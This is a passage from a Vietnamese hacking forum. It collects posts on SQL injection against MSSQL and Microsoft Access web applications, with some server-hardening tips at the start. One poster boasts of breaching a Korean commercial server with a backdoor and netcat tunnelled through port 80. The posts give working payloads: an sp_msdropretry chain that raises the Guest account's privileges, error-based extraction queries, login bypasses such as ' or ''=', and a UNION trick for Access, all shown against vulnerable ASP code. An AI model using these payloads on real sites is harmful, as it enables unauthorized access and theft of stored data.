mặc định của Microsoft .
Ko cho user thường quyền thêm user , tốt nhất là xoá hết các quyền trừ quyền
query , insert và update .
Thường xuyên quét virus để loại bỏ backdoor.
Ko sử dụng máy chủ để duyệt web , do đó hãy firewall các cổng .
Nhiều trường hợp firewall ko được thiết lập đúng cũng dẫn đến sai lầm như trường
hợp tôi hack một server của Hàn quốc . Họ ko cho mình đưa dữ liệu ra từ cổng nào
trừ cổng 80 , và tôi đã tận dụng được để upload backdoor , tui đóng cổng 80 của
mình rồi nối netcat vào đó , thế là firewall tưởng admin đang duyệt web nên cho
dữ liệu ra . Server đó được bảo mật thật kỹ vì nó chứa cả trăm website thương mại
của Hàn quốc , nếu là kẻ khác vào được thì ko biết hậu quả sẽ ra sao !
Sử dụng 1 server khác để ghi nhật ký , hacker non tay sẽ ko thể disable nó !
Sử dụng chương trình chung gian để làm máy chủ FTP .
Và còn rất nhiều mà hiện giờ ko nhớ hết , để lúc nào nhớ ra tui sẽ post lên tiếp
nha !
Có 1 bài viết của anh em về việc hack có sa.
Theo tôi thì ko cần phải làm kiều Enable user BUILTIN\ADMINISTRATORS,
làm thế là hơi máy móc. Bản thân User sa đã có quền enable cmd! Mình cứ enable
thẳng mà dùng thôi. Nhiều cái Server nằm trong LAN hoặc bị close hết port chúng
ta có thể sử dụng Telnet nghịch chuyển!
quaden(VNISS)
oki, quay lại bài nỳ, em có mấy cái thắc mắc :
1/
Trích:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000
00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on
Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/thongtin/xemthongtinct.asp, line 15
Phiên bản nó có vẻ cũ và chưa được fix lỗi!
Cái bản nay cụ thể chưa được fix lỗi là lỗi nào hả anh?
2/ Em cũng có thử vài trang từ trước đến nay,( có sa hoặc ko có sa ) nhưng có 1 số
trang khi em dùng lênh :
add guest vao DB_owner
;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'
exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec
sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where
name=''Guest''','xx' exec sp_executesql N'drop view dbo.test' sp_password
kiểm tra lại :
and 1=convert(int,(select top 1 name from master sysusers where roles=0x01 and
name not in('dbo'))) sp_password
Thì nó ko hề báo lỗi, chả nhẽ là do ko add được ạ?
Hic tạm thế đã giờ em phải học rồi T.T
Pip (vniss)
Ừ pip à, bản Aug 2000 chưa fix lỗi Bultin. Cách add guest chỉ là 1 thử nghiệm để
xem nó có cho mình add user vào ko thôi mà. Nếu mà mình chắc là ok thì chả cần
add user guest làm gì !
Nếu mà mình kiểm tra lại ko thấy có cái gì trên màn hình chứng tỏ guest đã có mặt
trong DB thì là ko add dc !
Quaden(VNISS)
Access SQL injection
Bài này lấy từ nhiều nguồn tổng hợp lại nên chẳng bít tác giả là ai , nói tóm lại là
thank all, đặc biệt là lão gamma
Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản
trị CSDL nó xài Access là “Tại sao lúc thì dùng Union exploit được nhưng lúc thì
lại là 1 cái error khó chịu tương tự thế này
Error Type:
Microsoft JET Database Engine (0x80004005)
Syntax error in FROM clause. “
bắn ra ??và liệu có thể có các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng
ta bị như vậy chẳng qua Access ko có kí tự comment kiểu như ‘—‘ như trong
MSSQL ,nếu có thì ko còn gì để nói …mình thì chỉ có vài kinh nghiệm sơ sơ về vụ
này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các ban
Do rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến
code lại của thằng vpasp và up lên cái host tạm để test
Ok …linktest
code verify user+pass trong file shopadmin.asp là
username=request("Username")
userpassword=request("password")
if ucase(Username)<>"SUPPLIER" then
sql = "select * from tbluser where fldusername='" & username & "' and
fldpassword='" & userpassword & "'"
//hì,thực tế mình đã del 2 dòng code
Trích:
username=replace(username,"'","")
userpassword=replace(userpassword,"'","")
lọc dấu nháy đơn nên hiện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by
pass tại cái form này
nếu bạn insert
Trích:
username:’ or ‘’=’
password:anything
thì ko được,nhưng nếu các bạn bypass như thế này
Trích:
username:anything
password:’ or ‘’=’
thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trường hợp 1 thì
đọan query get từ form sẽ là
Trích:
sql = "select * from tbluser where fldusername=’’ or ‘’=’’ and
fldpassword=’anything’
do thứ tự ưu tiên của phép tóan nên phép tóan and sẽ được ưu tiên trước phép or vì
thế
thì vế ‘’=’’ and fldpassword=’anything’ sẽ được thực thi trước và có chân trị là
false
(do ‘’=’’ true but fldpassword=’anything’ false à qua phép and sẽ là false ) sau đó
được or với query còn lại là
fldusername=’’ or false là false (do cái fldusername=’’ là false nên or 2 vế false ra
false )
>ko bypass được
còn trường hợp 2
Trích:
sql = "select * from tbluser where fldusername=’anything’ and fldpassword=’’ or
‘’=’’
do thứ tự ưu tiên của phép tóan phép tóan and sẽ được ưu tiên trước phép or vì thế
vế fldusername=’anything’ and fldpassword=’’ sẽ thực thi trước và sẽ có giá trị
false (do fldusername=’anything’ là false và fldpassword=’’ cũng false nốt,nhưng
sau đó nó lại được or ‘’=’’ (‘’=’’ luôn đúng ) nên chân trị nguyên query này là true
> by pass
…phù vì thế trước giờ các bác đi by pass tòan là
Trích:
username :’ or ‘’=’
password :’ or ‘’=’
cho chắc cú phảI ko nhể ?? hehe ,những cái em nói trên cho các bác hiểu sâu sâu
về by pass chút thôi
Thôi,nãy giờ lan man wá,ko đi vào chủ đề chính
ok…bi giờ các bác inject nháy đơn để xem lạI chính xác nó có bị sql ij hay ko ,sau
khi ij và submit thì nó ra cái này
Error Type:
Trích:
Microsoft JET Database Engine (0x80040E14)
Syntax error in string in query expression 'fldusername=''' and fldpassword='''.
/asp/shopadmin.asp, line 34
Ok,trường hợp là các form login thì chúng ta rất dễ biết được tên column do error
bắn ra (các trường hợp khác trên URL thì thường là ọc ra những column ko mong
đơi chút nào )
Ok,giả sử chúng ta biết là table chứa 2 column fldusername,fldpassword là
tbluser,okay,union xem sao
Trích:
Username :’ union select 1,1…1 from tbluser
Password :anything
Và nó ọc ra cái này đây
Trích:
Error Type:
Microsoft JET Database Engine (0x80004005)
Syntax error in FROM clause.
/asp/shopadmin.asp, line 34
TạI sao vậy ?câu query get được từ form là
sql = "select * from tbluser where fldusername=’’ union select 1,1 from tbluser'
and fldpassword=’anything’
bạn để ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code
chuẩn nó thêm vào nên câu query thật là vô nghĩa ,họặc nếu có thêm ‘and 1=2
union select …đi chăng nữa thì cũng vô nghĩa nên nó mớI bắn ra cái thông báo
Trích:
Syntax error in FROM clause.
Ok…vậy thì chúng ta sẽ khắc phục như sau
Username :’ union select 1 from tbluser where ‘1’=’1
Password:anything
Mục đích thêm cái where ‘1’=’1 như vậy để cái dấu nháy của query tự động thêm
nốt dấu nháy còn lạI vào where ‘1’=’1’ > hòan tòan hợp lý phảI ko nào ??
Và query lúc này như sau:
Trích:
sql = "select * from tbluser where fldusername=’’ union select 1 from tbluser
where ‘1’=’1’ and fldpassword='anything’
hì,1 cái error quen thuộc bắn ra
Trích:
Microsoft JET Database Engine (0x80040E14)
The number of columns in the two selected tables or queries of a union query do
not match.
Phần còn lại rất dễ,chắc các bác biết hết rồi nên ko nói ở đây
Xong …nhưng chỉ là xong khi chúng ta khắc phục điều này khi exploit SQL ij trên
các form login mà thôi ,còn trên các URL thì sao ,có gì khác so với exploit trên
form ?? hẹn các bạn bài sau trong thờI gian tới
MọI Feedback xin post lên 4rum,xin đừng PM,mail v v